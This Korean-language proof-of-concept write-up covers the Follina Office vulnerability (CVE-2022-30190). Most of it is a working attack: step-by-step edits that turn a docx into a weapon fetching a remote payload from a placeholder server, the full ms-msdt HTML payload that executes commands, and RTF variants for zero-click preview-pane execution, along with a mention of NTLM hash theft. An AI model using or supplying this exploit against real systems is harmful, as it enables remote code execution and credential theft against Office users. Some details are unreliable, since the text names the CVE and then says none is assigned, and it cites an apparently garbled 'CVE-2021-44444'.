
CVE-2022-30190(Follina)용 개념 증명 익스플로잇으로, ms-msdt URI 핸들러를 사용하여 악의적으로 제작된 Microsoft Office 문서를 통한 원격 코드 실행을 시연합니다.
2022년 5월 29일, 독립적인 사이버 보안 연구팀인 Nao_Sec 팀은 Virustotal에 공유된 악성 Office 문서를 발견했습니다. 이 문서는 비정상적이지만 알려진 방식을 사용하여 피해자를 감염시킵니다. 이 방식은 Microsoft Defender for Endpoint와 같은 일부 EDR에서 악성으로 탐지되지 않았습니다. 이 취약점은 매크로를 포함하지 않으므로, Protected View 모드가 활성화된 경우를 제외하고는 사용자 상호작용 없이 코드 실행으로 이어질 수 있습니다. 아직 할당된 CVE 번호는 없습니다.
이 취약점은 MSProtocol URI 체계를 사용하여 일부 코드를 로드하는 방식으로 악용되고 있습니다. 공격자는 ms-msdt:로 시작하는 악성 링크를 Microsoft Office 문서, 템플릿 또는 이메일 안에 삽입할 수 있으며, Protected View 모드가 활성화된 경우를 제외하면 사용자 상호작용 없이 이후에 로드되어 실행됩니다. 그럼에도 불구하고 문서를 RTF 형식으로 변환하면 Protected View 기능을 우회할 수도 있습니다.
MS Office docx 파일은 HTML 파일 형태의 외부 OLE Object 참조를 포함할 수 있습니다. 매개변수에 지정된 임의의 코드를 실행할 수 있는 msdt 진단 도구를 호출하는 "ms-msdt:" HTML 체계가 있습니다.
그 결과는 매크로를 사용하지 않고 악성 docx 파일을 여는 것만으로 RCE를 얻을 수 있는 무시무시한 공격 벡터입니다.
PoC(Proof-of-Concept) docx를 만드는 단계는 다음과 같습니다:
Word(최신 버전 2019 Pro, 16.0.10386.20017 사용)를 열고 더미 문서를 만든 다음 (OLE) 개체(Bitmap Image로)를 삽입하고 docx로 저장합니다.
docx 구조(일반 zip 파일)에서 word/_rels/document.xml.rels를 편집합니다. XML 태그 <Relationship>의 속성을 수정합니다.
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject"
그리고 Target="embeddings/oleObject1.bin"에서 Target 값을 변경하고 TargetMode 속성을 추가합니다:
Target = "http://<payload_server>/payload.html!"
TargetMode = "External"
Id 값(아마 "rId5")을 기록해 두세요.
word/document.xml을 편집합니다. <o:OLEObject ..> 태그(r:id="rId5" 포함)를 찾아 속성을 Type="Embed"에서 Type="Link"로 변경하고 UpdateMode="OnCall" 속성을 추가합니다.참고: 생성된 악성 docx는 CVE-2021-44444의 경우와 거의 동일합니다.
http://<payload_server>/payload.html에서 ms-msdt 체계를 사용하여 PoC(calc.exe 실행기) HTML 페이로드를 호스팅합니다:<!doctype html>
<html lang="en">
<body>
<script>
//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA should be repeated >60 times
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(IEX('calc.exe'))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>
</body>
</html>
다음 사항을 유의하세요:
또한 트리거 페이로드는 원격 위치에 연결할 수 있습니다. 신뢰할 수 없는 바이너리를 호출할 가능성은 낮지만, 연결에는 여전히 NTLM 해시가 포함됩니다(즉, 공격자가 이제 피해자의 Windows 암호 해시를 보유하게 됨). 이 해시는 공격자가 추가 사후 악용(post-exploitation)에 사용할 수 있습니다.
3단계에서 word/document.xml의 <o:OLEObject> 요소 아래에 다음 요소들도 추가하면:
<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>
그러면 RTF로도 작동합니다(결과 docx를 열어 RTF로 저장하세요).
RTF의 경우 Word에서 파일을 열 필요가 없습니다. 파일을 탐색하여 미리 보기 창에서 확인하는 것만으로 충분합니다. 미리 보기 창이 외부 HTML 페이로드를 트리거하며, 클릭 없이도 RCE가 발생합니다.